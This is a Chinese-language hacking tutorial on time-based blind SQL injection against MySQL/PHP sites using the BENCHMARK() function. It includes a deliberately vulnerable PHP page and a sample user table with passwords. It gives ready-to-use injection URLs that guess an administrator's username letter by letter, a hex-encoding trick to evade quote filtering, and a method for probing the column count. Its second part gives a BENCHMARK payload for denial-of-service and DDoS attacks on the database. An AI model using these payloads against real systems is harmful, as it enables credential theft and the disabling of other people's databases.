第一部
利用時間推延進行注射---BENCHMARK函數在注射中的利用
一.前言/思路
如果你看了angel的《SQL
Injection with
MySQL》一文,你有會發現一般的mysql+php的注射都是通過傳回錯誤資訊,和union聯合查詢替換原來查詢語句中的字段而直接輸出敏感資訊,但是有的時候,主機設定為不顯示錯誤資訊:display_errors
= Off
而且有的代碼中sql查詢後隻是簡單的對查詢結果進行判斷,而不要求輸出查詢結果,我們用上面的辦法注射将一無所獲。我們可以采用時間推延來進行判斷注射了。
本技術的主要思路:通過在構造的語句用加入執行時間推延的函數,如果我們送出的判斷是正确的,那麼mysql查詢時間就出現推延,如果送出的判斷是正确,将不會執行時間推延的函數,查詢語句将不會出現推延。這樣我們就可以進行判斷注射。
二.關于BENCHMARK函數
在MySQL參考手冊裡可以看到如下描叙:
BENCHMARK(count,expr)
BENCHMARK()函數重複countTimes次執行表達式expr,它可以用于計時MySQL處理表達式有多快。結果值總是0。意欲用于mysql客戶,它報告查詢的執行時間。
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
+----------------------------------------------+
|
BENCHMARK(1000000,encode("hello","goodbye")) |
+----------------------------------------------+
| 0 |
+----------------------------------------------+
1 row in set (4.74 sec)
報告的時間是用戶端的經過時間,不是在伺服器端的CPU時間。執行BENCHMARK()若幹次可能是明智的,并且注意伺服器機器的負載有多重來解釋結果。
隻要我們把參數count 設定大點,那麼那執行的時間就會變長。下面我們看看在mysql裡執行的效果:
mysql> select md5( 'test' );
+----------------------------------+
| md5( 'test' ) |
+----------------------------------+
| 098f6bcd4621d373cade4e832627b4f6
|
+----------------------------------+
1 row in set (0.00 sec)
〈-----------執行時間為0.00 sec
mysql> select benchmark( 500000, md5( 'test' ) );
+------------------------------------+
| benchmark( 500000, md5( 'test'
) ) |
+------------------------------------+
| 0 |
+------------------------------------+
1 row in set (6.55 sec)
〈------------執行時間為6.55 sec
由此可以看出使用benchmark執行500000次的時間明顯比正常執行時間延長了。
三.具體例子
首先我們看個簡單的php代碼:
< ?php
$servername = "localhost";
$dbusername =
"root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die
("資料庫連接配接失敗");
$sql = "SELECT * FROM article WHERE articleid=$id";
$result
= mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row)
{
exit;
}
?>
資料庫injection結構和内容如下:
# 資料庫 : `injection`
#
# --------------------------------------------------------
#
# 表的結構 `article`
#
CREATE TABLE `article` (
`articleid` int(11) NOT NULL
auto_increment,
`title` varchar(100) NOT NULL default '',
`content` text
NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 導出表中的資料 `article`
#
INSERT INTO `article` VALUES (1, '我是一個不愛讀書的孩子',
'中國的教育制度真是他媽的落後!如果我當教育部長。我要把所有老師都解雇!操~');
INSERT INTO `article` VALUES (2,
'我恨死你', '我恨死你了,你是什麼東西啊');
# --------------------------------------------------------
#
# 表的結構 `user`
#
CREATE TABLE `user` (
`userid` int(11) NOT NULL
auto_increment,
`username` varchar(20) NOT NULL default '',
`password`
varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM
AUTO_INCREMENT=3 ;
#
# 導出表中的資料 `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
INSERT
INTO `user` VALUES (2, '4ngel', 'mypass2');
代碼隻是對查詢結果進行簡單的判斷是否存在,假設我們已經設定display_errors=Off。我們這裡就沒辦法利用union
select的替換直接輸出敏感資訊(ps:這裡不是說我們不利用union,因為在mysql中不支援子查詢)或通過錯誤消息傳回不同來判斷注射了。我們利用union聯合查詢插入BENCHMARK函數語句來進行判斷注射:
id=1 union select 1,benchmark(500000,md5('test')),1 from user
where userid=1 and ord(substring(username,1,1))=97
/*
上面語句可以猜userid為1的使用者名的第一位字母的ascii碼值是是否為97,如果是97,上面的查詢将由于benchmark作用而延時。如果不為97,将不回出現延時,這樣我們最終可以猜出管理者的使用者名和密碼了。
大家注意,這裡有一個小技巧:在benchmark(500000,md5('test'))中我們使用了'号, 這樣是很危險的,因為管理者随便設定下
就可以過濾使注射失敗,我們這裡test可以是用其他進制表示,如16進制。最終構造如下:
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
執行速度很慢,得到userid為1的使用者名的第一位字母的ascii碼值是是為97。
注意:我們在使用union select事必須知道原來語句查詢表裡的字段數,以往我們是根據錯誤消息來判斷,我們在union select
1,1,1我們不停的增加1 如果字段數正确将正常傳回不會出現錯誤,而現在不可以使用這個方法了,那我們可以利用benchmark(),我們這樣構造 union
select benchmark(500000,md5(0x41)) 1,1
我們在增加1的,當字段數正确時就回執行benchmark()出現延時,這樣我們就可以判斷字段數了。
第二部
利用BENCHMARK函數進行ddos攻擊
其實思路很簡單:在BENCHMARK(count,expr) 中 我們隻要設定count
就是執行次數足夠大的話,就可以造成dos攻擊了,如果我們用代理或其他同時送出,就是ddos攻擊,估計資料庫很快就會挂了。不過前提還是要求可以注射。語句:
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
小結